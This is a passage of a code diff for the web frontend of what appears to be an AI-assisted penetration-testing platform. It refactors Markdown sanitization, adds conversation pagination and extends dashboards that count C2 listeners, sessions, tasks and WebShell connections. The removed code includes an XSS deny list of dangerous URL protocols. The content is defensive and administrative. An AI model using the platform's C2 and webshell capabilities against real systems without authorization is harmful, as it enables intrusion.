-                });
-                const parsedContent = marked.parse(src, { async: false });
-                return DOMPurify.sanitize(parsedContent, sanitizeConfig);
-            } catch (e) {
-                console.error('Markdown 解析失败:', e);
-                return DOMPurify.sanitize(src, sanitizeConfig);
-            }
-        } else {
-            return DOMPurify.sanitize(src, sanitizeConfig);
-        }
-    } else if (typeof marked !== 'undefined') {
-        try {
-            marked.setOptions({
-                breaks: true,
-                gfm: true,
-            });
-            return marked.parse(src, { async: false });
-        } catch (e) {
-            console.error('Markdown 解析失败:', e);
-            return escapeHtml(src).replace(/\n/g, '<br>');
-        }
-    } else {
-        return escapeHtml(src).replace(/\n/g, '<br>');
+/** @param {string} text @param {{ profile?: 'chat'|'timeline' }} [options] */
+function formatMarkdown(text, options) {
+    if (typeof window.csMarkdownSanitize !== 'undefined') {
+        return window.csMarkdownSanitize.formatMarkdownToHtml(text, options);
     }
+    const raw = text == null ? '' : String(text);
+    return escapeHtml(raw).replace(/\n/g, '<br>');
 }
 
 function setupLoginUI() {

web/static/js/chat.js

@@ -423,10 +423,28 @@ if (typeof window !== 'undefined') {
     window.updateHitlStatusUI = updateHitlStatusUI;
 }
 
+function syncHitlSidebarAriaExpanded() {
+    var card = document.getElementById('hitl-sidebar-card');
+    var toggle = document.getElementById('hitl-sidebar-toggle');
+    if (!card || !toggle) return;
+    toggle.setAttribute('aria-expanded', card.classList.contains('hitl-sidebar-collapsed') ? 'false' : 'true');
+}
+
+function closeHitlSidebarCard() {
+    var card = document.getElementById('hitl-sidebar-card');
+    if (!card || card.classList.contains('hitl-sidebar-collapsed')) return;
+    card.classList.add('hitl-sidebar-collapsed');
+    syncHitlSidebarAriaExpanded();
+    try {
+        localStorage.setItem('hitl-sidebar-collapsed', '1');
+    } catch (e) {}
+}
+
 function toggleHitlSidebarCard() {
     var card = document.getElementById('hitl-sidebar-card');
     if (!card) return;
     card.classList.toggle('hitl-sidebar-collapsed');
+    syncHitlSidebarAriaExpanded();
     try {
         localStorage.setItem('hitl-sidebar-collapsed', card.classList.contains('hitl-sidebar-collapsed') ? '1' : '0');
     } catch (e) {}
@@ -438,6 +456,7 @@ document.addEventListener('DOMContentLoaded', function () {
     if (card && localStorage.getItem('hitl-sidebar-collapsed') === '0') {
         card.classList.remove('hitl-sidebar-collapsed');
     }
+    syncHitlSidebarAriaExpanded();
 });
 
 function getAgentModeLabelForValue(mode) {
@@ -963,6 +982,24 @@ async function sendMessage() {
             const reader = response.body.getReader();
             const decoder = new TextDecoder();
             let buffer = '';
+            const dispatchStreamEvent = function (eventData) {
+                handleStreamEvent(eventData, progressElement, progressId,
+                    () => assistantMessageId, (id) => { assistantMessageId = id; },
+                    () => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
+            };
+            const processSseLines = typeof processSseDataLinesYielding === 'function'
+                ? processSseDataLinesYielding
+                : async function (lines, onEvent) {
+                    for (const line of lines) {
+                        if (line.startsWith('data: ')) {
+                            try {
+                                onEvent(JSON.parse(line.slice(6)));
+                            } catch (e) {
+                                console.error('解析事件数据失败:', e, line);
+                            }
+                        }
+                    }
+                };
 
             while (true) {
                 const { done, value } = await reader.read();
@@ -972,18 +1009,7 @@ async function sendMessage() {
                 const lines = buffer.split('\n');
                 buffer = lines.pop(); // 保留最后一个不完整的行
 
-                for (const line of lines) {
-                    if (line.startsWith('data: ')) {
-                        try {
-                            const eventData = JSON.parse(line.slice(6));
-                            handleStreamEvent(eventData, progressElement, progressId,
-                                             () => assistantMessageId, (id) => { assistantMessageId = id; },
-                                             () => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
-                        } catch (e) {
-                            console.error('解析事件数据失败:', e, line);
-                        }
-                    }
-                }
+                await processSseLines(lines, dispatchStreamEvent);
             }
             // Flush decoder internal buffer to avoid losing the final partial UTF-8 code point.
             buffer += decoder.decode();
@@ -991,18 +1017,7 @@ async function sendMessage() {
             // 处理剩余的buffer
             if (buffer.trim()) {
                 const lines = buffer.split('\n');
-                for (const line of lines) {
-                    if (line.startsWith('data: ')) {
-                        try {
-                            const eventData = JSON.parse(line.slice(6));
-                            handleStreamEvent(eventData, progressElement, progressId,
-                                             () => assistantMessageId, (id) => { assistantMessageId = id; },
-                                             () => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
-                        } catch (e) {
-                            console.error('解析事件数据失败:', e, line);
-                        }
-                    }
-                }
+                await processSseLines(lines, dispatchStreamEvent);
             }
         } finally {
             window.__csAgentLiveStream = { active: false, conversationId: null, progressId: null };
@@ -1862,25 +1877,9 @@ function refreshSystemReadyMessageBubbles() {
         div.textContent = s;
         return div.innerHTML;
     };
-    const defaultSanitizeConfig = {
-        ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
-        ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
-        ALLOW_DATA_ATTR: false,
-    };
     let formattedContent;
-    if (typeof marked !== 'undefined') {
-        try {
-            marked.setOptions({ breaks: true, gfm: true });
-            const src = typeof window.normalizeAssistantMarkdownSource === 'function'
-                ? window.normalizeAssistantMarkdownSource(text)
-                : text;
-            const parsed = marked.parse(src, { async: false });
-            formattedContent = typeof DOMPurify !== 'undefined'
-                ? DOMPurify.sanitize(parsed, defaultSanitizeConfig)
-                : parsed;
-        } catch (e) {
-            formattedContent = escapeHtmlLocal(text).replace(/\n/g, '<br>');
-        }
+    if (typeof window.csMarkdownSanitize !== 'undefined') {
+        formattedContent = window.csMarkdownSanitize.formatMarkdownToHtml(text, { profile: 'chat' });
     } else {
         formattedContent = escapeHtmlLocal(text).replace(/\n/g, '<br>');
     }
@@ -1936,13 +1935,6 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
     
     // 解析 Markdown 或 HTML 格式
     let formattedContent;
-    const defaultSanitizeConfig = {
-        ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
-        ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
-        ALLOW_DATA_ATTR: false,
-    };
-    
-    // HTML实体编码函数
     const escapeHtml = (text) => {
         if (!text) return '';
         const div = document.createElement('div');
@@ -1950,31 +1942,6 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
         return div.innerHTML;
     };
     
-    // 注意：代码块内容不需要转义，因为：
-    // 1. Markdown解析后，代码块会被包裹在<code>或<pre>标签中
-    // 2. 浏览器不会执行<code>和<pre>标签内的HTML（它们是文本节点）
-    // 3. DOMPurify会保留这些标签内的文本内容
-    // 这样既能防止XSS，又能正常显示代码
-    
-    const parseMarkdown = (raw) => {
-        if (typeof marked === 'undefined') {
-            return null;
-        }
-        try {
-            marked.setOptions({
-                breaks: true,
-                gfm: true,
-            });
-            const src = typeof window.normalizeAssistantMarkdownSource === 'function'
-                ? window.normalizeAssistantMarkdownSource(raw)
-                : raw;
-            return marked.parse(src, { async: false });
-        } catch (e) {
-            console.error('Markdown 解析失败:', e);
-            return null;
-        }
-    };
-    
     // 助手消息中的已知中文错误前缀做国际化替换（后端固定返回中文）
     let displayContent = content;
     if (role === 'assistant' && typeof displayContent === 'string' && typeof window.t === 'function') {
@@ -1989,57 +1956,11 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
     // 对于用户消息，直接转义HTML，不进行Markdown解析，以保留所有特殊字符
     if (role === 'user') {
         formattedContent = escapeHtml(content).replace(/\n/g, '<br>');
-    } else if (typeof DOMPurify !== 'undefined') {
-        // 直接解析Markdown（代码块会被包裹在<code>/<pre>中，DOMPurify会保留其文本内容）
-        let parsedContent = parseMarkdown(role === 'assistant' ? displayContent : content);
-        if (!parsedContent) {
-            parsedContent = content;
-        }
-        
-        // 使用DOMPurify清理，只添加必要的URL验证钩子（DOMPurify默认会处理事件处理器等）
-        if (DOMPurify.addHook) {
-            // 移除之前可能存在的钩子
-            try {
-                DOMPurify.removeHook('uponSanitizeAttribute');
-            } catch (e) {
-                // 钩子不存在，忽略
-            }
-            
-            // 只验证URL属性，防止危险协议（DOMPurify默认会处理事件处理器、style等）
-            DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
-                const attrName = data.attrName.toLowerCase();
-                
-                // 只验证URL属性（src, href）
-                if ((attrName === 'src' || attrName === 'href') && data.attrValue) {
-                    const value = data.attrValue.trim().toLowerCase();
-                    // 禁止危险协议
-                    if (value.startsWith('javascript:') || 
-                        value.startsWith('vbscript:') ||
-                        value.startsWith('data:text/html') ||
-                        value.startsWith('data:text/javascript')) {
-                        data.keepAttr = false;
-                        return;
-                    }
-                    // 对于img的src，禁止可疑的短URL（防止404和XSS）
-                    if (attrName === 'src' && node.tagName && node.tagName.toLowerCase() === 'img') {
-                        if (value.length <= 2 || /^[a-z]$/i.test(value)) {
-                            data.keepAttr = false;
-                            return;
-                        }
-                    }
-                }
-            });
-        }
-        
-        formattedContent = DOMPurify.sanitize(parsedContent, defaultSanitizeConfig);
-    } else if (typeof marked !== 'undefined') {
-        const rawForParse = role === 'assistant' ? displayContent : content;
-        const parsedContent = parseMarkdown(rawForParse);
-        if (parsedContent) {
-            formattedContent = parsedContent;
-        } else {
-            formattedContent = escapeHtml(rawForParse).replace(/\n/g, '<br>');
-        }
+    } else if (typeof window.csMarkdownSanitize !== 'undefined') {
+        formattedContent = window.csMarkdownSanitize.formatMarkdownToHtml(
+            role === 'assistant' ? displayContent : content,
+            { profile: 'chat' }
+        );
     } else {
         const rawForEscape = role === 'assistant' ? displayContent : content;
         formattedContent = escapeHtml(rawForEscape).replace(/\n/g, '<br>');
@@ -2047,21 +1968,9 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
     
     bubble.innerHTML = formattedContent;
     
-    // 最后的安全检查：只处理明显的可疑图片（防止404和XSS）
-    // DOMPurify已经处理了大部分XSS向量，这里只做必要的补充
-    const images = bubble.querySelectorAll('img');
-    images.forEach(img => {
-        const src = img.getAttribute('src');
-        if (src) {
-            const trimmedSrc = src.trim();
-            // 只检查明显的可疑URL（短字符串、单个字符）
-            if (trimmedSrc.length <= 2 || /^[a-z]$/i.test(trimmedSrc)) {
-                img.remove();
-            }
-        } else {
-            img.remove();
-        }
-    });
+    if (typeof window.csMarkdownSanitize !== 'undefined') {
+        window.csMarkdownSanitize.stripSuspiciousImages(bubble);
+    }
     
     // 为每个表格添加独立的滚动容器
     wrapTablesInBubble(bubble);
@@ -2471,6 +2380,10 @@ function renderProcessDetails(messageId, processDetails) {
             itemTitle = agPx + execLine;
         } else if (eventType === 'eino_agent_reply') {
             itemTitle = agPx + '💬 ' + (typeof window.t === 'function' ? window.t('chat.einoAgentReplyTitle') : '子代理回复');
+        } else if (eventType === 'eino_empty_response_continue') {
+            itemTitle = typeof window.t === 'function'
+                ? window.t('chat.einoEmptyResponseContinueTitle')
+                : '🔁 自动续跑（无助手正文）';
         } else if (eventType === 'eino_run_retry') {
             itemTitle = typeof window.t === 'function'
                 ? window.t('chat.einoRunRetryTitle')
@@ -3026,6 +2939,8 @@ function createConversationListItem(conversation) {
 // 处理历史记录搜索
 let conversationSearchTimer = null;
 function handleConversationSearch(query) {
+    conversationsPagination.page = 1;
+    conversationsSearchQuery = query || '';
     // 防抖处理，避免频繁请求
     if (conversationSearchTimer) {
         clearTimeout(conversationSearchTimer);
@@ -3059,6 +2974,8 @@ function clearConversationSearch() {
         clearBtn.style.display = 'none';
     }
     
+    conversationsPagination.page = 1;
+    conversationsSearchQuery = '';
     loadConversations('');
 }
 
@@ -3452,7 +3369,7 @@ async function deleteConversationTurnFromUI(anchorBackendMessageId) {
 async function deleteConversation(conversationId, skipConfirm = false) {
     // 确认删除（如果调用者没有跳过确认）
     if (!skipConfirm) {
-        if (!confirm('确定要删除这个对话吗？此操作不可恢复。')) {
+        if (!confirm('确定要删除这个对话吗？对话消息将不可恢复，但已记录的漏洞会保留在漏洞库中。')) {
             return;
         }
     }
@@ -3495,6 +3412,21 @@ async function deleteConversation(conversationId, skipConfirm = false) {
         } else if (typeof loadConversations === 'function') {
             loadConversations();
         }
+
+        // 批量管理弹窗打开时，同步刷新弹窗内列表
+        const batchModal = document.getElementById('batch-manage-modal');
+        if (batchModal && batchModal.style.display === 'flex') {
+            allConversationsForBatch = allConversationsForBatch.filter(c => c.id !== conversationId);
+            updateBatchManageTitle(allConversationsForBatch.length);
+            const searchInput = document.getElementById('batch-search-input');
+            const query = searchInput ? searchInput.value : '';
+            if (query && query.trim()) {
+                filterBatchConversations(query);
+            } else {
+                renderBatchConversations();
+            }
+        }
+
         // 通知其他模块（如 WebShell AI 助手）同步删除，保持列表一致
         try {
             document.dispatchEvent(new CustomEvent('conversation-deleted', { detail: { conversationId } }));
@@ -5695,6 +5627,168 @@ let groupsCache = [];
 let conversationGroupMappingCache = {};
 let pendingGroupMappings = {}; // 待保留的分组映射（用于处理后端API延迟的情况）
 let conversationsListLoadSeq = 0; // 对话列表加载序号，避免并发请求导致重复渲染
+const CONVERSATIONS_PAGE_SIZE_KEY = 'cyberstrike.conversations_page_size';
+
+function getConversationsPageSize() {
+    try {
+        const saved = parseInt(localStorage.getItem(CONVERSATIONS_PAGE_SIZE_KEY), 10);
+        if ([20, 50, 100].includes(saved)) return saved;
+    } catch (e) { /* ignore */ }
+    return 50;
+}
+
+let conversationsPagination = { page: 1, pageSize: getConversationsPageSize(), total: 0 };
+let conversationsSearchQuery = '';
+
+function parseListTotalValue(raw, itemsLength) {
+    if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
+    if (raw != null && raw !== '') {
+        const n = parseInt(String(raw), 10);
+        if (Number.isFinite(n) && n >= 0) return n;
+    }
+    return itemsLength;
+}
+
+function parseListOffsetValue(raw) {
+    if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
+    if (raw != null && raw !== '') {
+        const n = parseInt(String(raw), 10);
+        if (Number.isFinite(n) && n >= 0) return n;
+    }
+    return 0;
+}
+
+function parseConversationsListResponse(data) {
+    if (Array.isArray(data)) {
+        return { items: data, total: data.length, limit: data.length, offset: 0, isLegacyArray: true };
+    }
+    const items = data.conversations || data.items || [];
+    const arr = Array.isArray(items) ? items : [];
+    return {
+        items: arr,
+        total: parseListTotalValue(data.total, arr.length),
+        limit: parseListTotalValue(data.limit, arr.length) || arr.length,
+        offset: parseListOffsetValue(data.offset),
+        isLegacyArray: false,
+    };
+}
+
+async function resolveConversationsListTotal(params, parsed, pageSize, offset) {
+    const serverTotal = parsed.total;
+    if (!parsed.isLegacyArray && serverTotal > offset + parsed.items.length) {
+        return serverTotal;
+    }
+    if (parsed.items.length < pageSize) {
+        return Math.max(serverTotal, offset + parsed.items.length);
+    }
+    const probe = new URLSearchParams(params);
+    probe.set('offset', String(offset + pageSize));
+    probe.set('limit', '1');
+    try {
+        const res = await apiFetch(`/api/conversations?${probe}`);
+        if (!res.ok) return Math.max(serverTotal, offset + parsed.items.length);
+        const probeParsed = parseConversationsListResponse(await res.json());
+        if (probeParsed.total > serverTotal) return probeParsed.total;
+        if (probeParsed.items.length > 0) {
+            return Math.max(serverTotal, offset + pageSize + 1);
+        }
+    } catch (e) { /* ignore */ }
+    return Math.max(serverTotal, offset + parsed.items.length);
+}
+
+async function fetchAllConversations(searchQuery) {
+    let all = [];
+    const pageSize = 200;
+    let offset = 0;
+    let total = Infinity;
+    const search = (searchQuery || '').trim();
+    while (all.length < total) {
+        const params = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
+        if (search) params.set('search', search);
+        const res = await apiFetch(`/api/conversations?${params}`);
+        if (!res.ok) throw new Error('load conversations failed');
+        const parsed = parseConversationsListResponse(await res.json());
+        all = all.concat(parsed.items);
+        total = parsed.total;
+        if (!parsed.items.length) break;
+        offset += parsed.items.length;
+    }
+    return all;
+}
+
+function getConversationListEmptyHtml() {
+    return '<div class="conversations-list-empty" data-i18n="chat.noHistoryConversations"></div>';
+}
+
+function renderConversationsPagination(visibleCount) {
+    const el = document.getElementById('conversations-pagination');
+    if (!el) return;
+    const { page, pageSize, total } = conversationsPagination;
+    const count = typeof visibleCount === 'number' ? visibleCount : (conversationsPagination.visibleCount || 0);
+    conversationsPagination.visibleCount = count;
+
+    if (count === 0 || total === 0) {
+        el.innerHTML = '';
+        el.hidden = true;
+        return;
+    }
+
+    const totalPages = Math.max(1, Math.ceil(total / pageSize) || 1);
+    const navDisabled = totalPages <= 1;
+    el.hidden = false;
+    const start = (page - 1) * pageSize + 1;
+    const end = Math.min(page * pageSize, total);
+    const tFn = typeof window.t === 'function' ? window.t.bind(window) : null;
+    const infoText = tFn
+        ? tFn('chat.paginationRange', { start, end, total })
+        : `${start}-${end}/${total}`;
+    const pageText = tFn
+        ? tFn('chat.paginationPage', { page, total: totalPages })
+        : `${page}/${totalPages}`;
+    const perPageLabel = tFn ? tFn('chat.paginationPerPage') : 'Per page';
+    const prevLabel = tFn ? tFn('chat.paginationPrev') : 'Prev';
+    const nextLabel = tFn ? tFn('chat.paginationNext') : 'Next';
+    el.innerHTML = `
+        <div class="sidebar-list-pagination-inner sidebar-list-pagination-inner--compact">
+            <span class="pagination-info">${escapeHtml(infoText)}</span>
+            <div class="pagination-controls">
+                <button type="button" class="btn-icon-pagination" onclick="goConversationsPage(${page - 1})" ${page <= 1 || navDisabled ? 'disabled' : ''} title="${escapeHtml(prevLabel)}" aria-label="${escapeHtml(prevLabel)}">‹</button>
+                <span class="pagination-page">${escapeHtml(pageText)}</span>
+                <button type="button" class="btn-icon-pagination" onclick="goConversationsPage(${page + 1})" ${page >= totalPages || navDisabled ? 'disabled' : ''} title="${escapeHtml(nextLabel)}" aria-label="${escapeHtml(nextLabel)}">›</button>
+            </div>
+            <label class="pagination-page-size">
+                ${escapeHtml(perPageLabel)}
+                <select id="conversations-page-size-pagination" onchange="changeConversationsPageSize()">
+                    <option value="20" ${pageSize === 20 ? 'selected' : ''}>20</option>
+                    <option value="50" ${pageSize === 50 ? 'selected' : ''}>50</option>
+                    <option value="100" ${pageSize === 100 ? 'selected' : ''}>100</option>
+                </select>
+            </label>
+        </div>`;
+}
+
+function goConversationsPage(page) {
+    const totalPages = Math.max(1, Math.ceil((conversationsPagination.total || 0) / conversationsPagination.pageSize) || 1);
+    const next = Math.min(Math.max(1, page), totalPages);
+    if (next === conversationsPagination.page) return;
+    conversationsPagination.page = next;
+    loadConversationsWithGroups(conversationsSearchQuery);
+}
+
+function changeConversationsPageSize() {
+    const sel = document.getElementById('conversations-page-size-pagination');
+    const newSize = sel ? parseInt(sel.value, 10) : 50;
+    if (![20, 50, 100].includes(newSize)) return;
+    try {
+        localStorage.setItem(CONVERSATIONS_PAGE_SIZE_KEY, String(newSize));
+    } catch (e) { /* ignore */ }
+    conversationsPagination.pageSize = newSize;
+    conversationsPagination.page = 1;
+    loadConversationsWithGroups(conversationsSearchQuery);
+}
+
+window.goConversationsPage = goConversationsPage;
+window.changeConversationsPageSize = changeConversationsPageSize;
 
 // 加载分组列表
 async function loadGroups() {
@@ -5791,12 +5885,17 @@ async function loadGroups() {
 async function loadConversationsWithGroups(searchQuery = '') {
     const loadSeq = ++conversationsListLoadSeq;
     try {
-        // 并行加载分组列表、分组映射和对话列表（消除串行等待）
-        const limit = (searchQuery && searchQuery.trim()) ? 100 : 100;
-        let url = `/api/conversations?limit=${limit}`;
+        conversationsSearchQuery = searchQuery || '';
+        conversationsPagination.pageSize = getConversationsPageSize();
+        const pageSize = conversationsPagination.pageSize;
+        const offset = (conversationsPagination.page - 1) * pageSize;
+        const convParams = new URLSearchParams({ limit: String(pageSize), offset: String(offset) });
         if (searchQuery && searchQuery.trim()) {
-            url += '&search=' + encodeURIComponent(searchQuery.trim());
+            convParams.set('search', searchQuery.trim());
+        } else {
+            convParams.set('exclude_grouped', 'true');
         }
+        const url = `/api/conversations?${convParams}`;
         const [,, response] = await Promise.all([
             loadGroups(),
             loadConversationGroupMapping(),
@@ -5813,23 +5912,26 @@ async function loadConversationsWithGroups(searchQuery = '') {
         const sidebarContent = listContainer.closest('.sidebar-content');
         const savedScrollTop = sidebarContent ? sidebarContent.scrollTop : 0;
 
-        const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;" data-i18n="chat.noHistoryConversations"></div>';
+        const emptyStateHtml = getConversationListEmptyHtml();
         listContainer.innerHTML = '';
 
         // 如果响应不是200，显示空状态（友好处理，不显示错误）
         if (!response.ok) {
             listContainer.innerHTML = emptyStateHtml;
             if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
+            renderConversationsPagination(0);
             return;
         }
 
-        const conversations = await response.json();
+        const data = await response.json();
         if (loadSeq !== conversationsListLoadSeq) return;
+        const parsed = parseConversationsListResponse(data);
+        conversationsPagination.total = await resolveConversationsListTotal(convParams, parsed, pageSize, offset);
 
         // 双重保险：后端或并发情况下若出现重复ID，前端按ID去重
         const uniqueConversations = [];
         const seenConversationIds = new Set();
-        (Array.isArray(conversations) ? conversations : []).forEach(conv => {
+        parsed.items.forEach(conv => {
             if (!conv || !conv.id || seenConversationIds.has(conv.id)) {
                 return;
             }
@@ -5840,6 +5942,7 @@ async function loadConversationsWithGroups(searchQuery = '') {
         if (uniqueConversations.length === 0) {
             listContainer.innerHTML = emptyStateHtml;
             if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
+            renderConversationsPagination(0);
             return;
         }
         
@@ -5950,15 +6053,29 @@ async function loadConversationsWithGroups(searchQuery = '') {
             fragment.appendChild(section);
         });
 
+        const visibleCount = pinnedConvs.length + Object.values(groups).reduce((n, arr) => n + (arr ? arr.length : 0), 0);
+        conversationsPagination.visibleCount = visibleCount;
+
+        if (!hasSearchQuery && visibleCount === 0 && parsed.items.length > 0) {
+            const totalPages = Math.max(1, Math.ceil(parsed.total / pageSize));
+            if (conversationsPagination.page < totalPages) {
+                conversationsPagination.page += 1;
+                loadConversationsWithGroups(searchQuery);
+                return;
+            }
+        }
+
         if (fragment.children.length === 0) {
             listContainer.innerHTML = emptyStateHtml;
             if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
+            renderConversationsPagination(0);
             return;
         }
 
         if (loadSeq !== conversationsListLoadSeq) return;
         listContainer.appendChild(fragment);
         updateActiveConversation();
+        renderConversationsPagination(visibleCount);
         
         // 恢复滚动位置
         if (sidebarContent) {
@@ -5975,9 +6092,9 @@ async function loadConversationsWithGroups(searchQuery = '') {
         // 错误时显示空状态，而不是错误提示（更友好的用户体验）
         const listContainer = document.getElementById('conversations-list');
         if (listContainer) {
-            const emptyStateHtml = '<div style="padding: 20px; text-align: center; color: var(--text-muted); font-size: 0.875rem;" data-i18n="chat.noHistoryConversations"></div>';
-            listContainer.innerHTML = emptyStateHtml;
+            listContainer.innerHTML = getConversationListEmptyHtml();
             if (typeof window.applyTranslations === 'function') window.applyTranslations(listContainer);
+            renderConversationsPagination(0);
         }
     }
 }
@@ -7091,15 +7208,7 @@ function updateBatchManageTitle(count) {
 
 async function showBatchManageModal() {
     try {
-        const response = await apiFetch('/api/conversations?limit=1000');
-        
-        // 如果响应不是200，使用空数组（友好处理，不显示错误）
-        if (!response.ok) {
-            allConversationsForBatch = [];
-        } else {
-            const data = await response.json();
-            allConversationsForBatch = Array.isArray(data) ? data : [];
-        }
+        allConversationsForBatch = await fetchAllConversations('');
 
         const modal = document.getElementById('batch-manage-modal');
         updateBatchManageTitle(allConversationsForBatch.length);
@@ -7500,7 +7609,7 @@ document.addEventListener('languagechange', function () {
     refreshHitlConfigByCurrentConversation();
 });
 
-// 点击外部关闭图标选择器、对话模式面板
+// 点击外部关闭图标选择器、对话模式面板、侧栏折叠卡片
 document.addEventListener('click', function(event) {
     const picker = document.getElementById('group-icon-picker');
     const iconBtn = document.getElementById('create-group-icon-btn');
@@ -7526,6 +7635,13 @@ document.addEventListener('click', function(event) {
             closeChatReasoningPanel();
         }
     }
+
+    const hitlCard = document.getElementById('hitl-sidebar-card');
+    if (hitlCard && !hitlCard.classList.contains('hitl-sidebar-collapsed')) {
+        if (!hitlCard.contains(event.target)) {
+            closeHitlSidebarCard();
+        }
+    }
 });
 
 // 创建分组

web/static/js/dashboard.js

@@ -21,6 +21,9 @@ var dashboardState = {
     lastUpdatedAt: 0,           // 上次成功刷新的时间戳（ms）
     dismissedAlertKey: null,    // 当前会话中被用户「×」掉的告警内容指纹（同样的 reasons 不再弹）
     lastResources: null,        // 上一轮关键资源快照，用于判断是否首次有数据 / 智能 CTA
+    recentFeedTab: 'vulns',     // 最近漏洞 / 近期事实 Tab
+    accessTab: 'c2',            // 接入概览 Tab：c2 | webshell
+    lastProjectSummary: null,   // 最近一次项目仪表盘摘要（供 Tab 切换时重绘）
 };
 
 async function refreshDashboard() {
@@ -57,9 +60,14 @@ async function refreshDashboard() {
         hideEl('dashboard-kpi-vuln-critical-badge');
         hideEl('dashboard-alert-banner');
         setRecentVulnsLoading();
-        ['tools', 'skills', 'knowledge', 'roles', 'agents', 'webshell'].forEach(function (k) {
+        setRecentFactsLoading();
+        ['tools', 'skills', 'knowledge', 'roles', 'agents'].forEach(function (k) {
             setEl('dashboard-resource-' + k, '…');
         });
+        setEl('dashboard-webshell-connections', '…');
+        setEl('dashboard-c2-listeners-running', '…');
+        setEl('dashboard-c2-sessions-online', '…');
+        setEl('dashboard-c2-tasks-pending', '…');
         var chartPlaceholder = document.getElementById('dashboard-tools-pie-placeholder');
         if (chartPlaceholder) { chartPlaceholder.style.removeProperty('display'); chartPlaceholder.textContent = (typeof window.t === 'function' ? window.t('common.loading') : '加载中…'); }
         var barChartEl = document.getElementById('dashboard-tools-bar-chart');
@@ -104,7 +112,8 @@ async function refreshDashboard() {
             openCriticalRes, openHighRes, openMediumRes, openLowRes, toolsConfigRes,
             hitlPendingRes, notificationsRes, externalMcpStatsRes,
             webshellRes,
-            c2ListenersRes, c2SessionsRes, c2TasksRes
+            c2ListenersRes, c2SessionsRes, c2TasksRes,
+            projectSummaryRes
         ] = await Promise.all([
             fetchJson('/api/agent-loop/tasks'),
             fetchJson('/api/vulnerabilities/stats'),
@@ -112,7 +121,7 @@ async function refreshDashboard() {
             fetchJson('/api/monitor/stats'),
             fetchJson('/api/knowledge/stats'),
             fetchJson('/api/skills/stats'),
-            fetchJson('/api/vulnerabilities?limit=5&page=1'),
+            fetchJson('/api/vulnerabilities?limit=10&page=1'),
             fetchJson('/api/roles'),
             fetchJson('/api/multi-agent/markdown-agents'),
             openVulnQuery('critical'),
@@ -122,7 +131,7 @@ async function refreshDashboard() {
             openVulnQuery('low'),
             // 拉取 MCP 工具的「配置总数」用于「能力总览」（区别于 monitor/stats 的「有调用记录」）。
             // 仅取 total 字段，page_size=1 减少传输；total 已涵盖内部 + 外部 MCP + 直接注册的工具。
-            fetchJson('/api/config/tools?page=1&page_size=1'),
+            fetchJson('/api/config/tools?page=1&page_size=1&include_external=false'),
             // HITL 待审批：用于「需要立即处理」告警条 + 推荐操作
             fetchJson('/api/hitl/pending'),
             // 通知摘要：since=0 拿最新一批，limit 控制大小；用于「最近事件」内联展示
@@ -134,7 +143,8 @@ async function refreshDashboard() {
             // C2 仪表盘条：监听器 / 会话 / 待处理任务（任务接口含 pending_queued_count）
             fetchJson('/api/c2/listeners'),
             fetchJson('/api/c2/sessions?limit=500'),
-            fetchJson('/api/c2/tasks?page=1&page_size=1')
+            fetchJson('/api/c2/tasks?page=1&page_size=1'),
+            fetchJson('/api/projects/dashboard-summary?fact_limit=10')
         ]);
 
         // 如果在 await 期间 controller 已被 abort，说明又有新刷新启动了，丢弃本次结果
@@ -373,20 +383,10 @@ async function refreshDashboard() {
         } else {
             setEl('dashboard-resource-agents', '-');
         }
-        // WebShell 已建立的连接：/api/webshell/connections 直接返回数组（不带包裹），
-        // 兼容一下 { connections: [...] } 形式以防后续接口变更
-        var webshellList = null;
-        if (Array.isArray(webshellRes)) webshellList = webshellRes;
-        else if (webshellRes && Array.isArray(webshellRes.connections)) webshellList = webshellRes.connections;
-        var webshellCount = webshellList ? webshellList.length : null;
-        if (webshellCount !== null) {
-            setEl('dashboard-resource-webshell', formatNumber(webshellCount));
-        } else {
-            setEl('dashboard-resource-webshell', '-');
-        }
-
         // 最近漏洞列表
         renderRecentVulns(recentVulnsRes);
+        dashboardState.lastProjectSummary = projectSummaryRes;
+        renderRecentFacts(projectSummaryRes);
 
         // External MCP 健康度（同时拿到 down 数喂给 alert banner / 推荐操作）
         var externalMcpDown = renderExternalMcpHealth(externalMcpStatsRes);
@@ -397,8 +397,8 @@ async function refreshDashboard() {
         // 「最近事件」内联展示（来自通知摘要，过滤掉已经被仪表盘其他位置覆盖的类型）
         renderRecentEvents(notificationsRes);
 
-        // C2 概览条（监听器 / 在线会话 / 待处理任务）
-        renderDashboardC2Overview(c2ListenersRes, c2SessionsRes, c2TasksRes);
+        // 接入概览（C2 + WebShell）
+        renderDashboardAccessOverview(c2ListenersRes, c2SessionsRes, c2TasksRes, webshellRes);
 
         // 关键提醒条：把所有可能的告警源（漏洞/HITL/失败率/MCP健康）合并展示
         renderDashboardAlertBanner({
@@ -448,12 +448,13 @@ async function refreshDashboard() {
         setKpiSubText('dashboard-kpi-vuln-sub-text', '-');
         setKpiSubText('dashboard-kpi-tools-sub-text', '-');
         setKpiSubText('dashboard-kpi-rate-sub-text', '-');
-        ['tools', 'skills', 'knowledge', 'roles', 'agents', 'webshell'].forEach(function (k) {
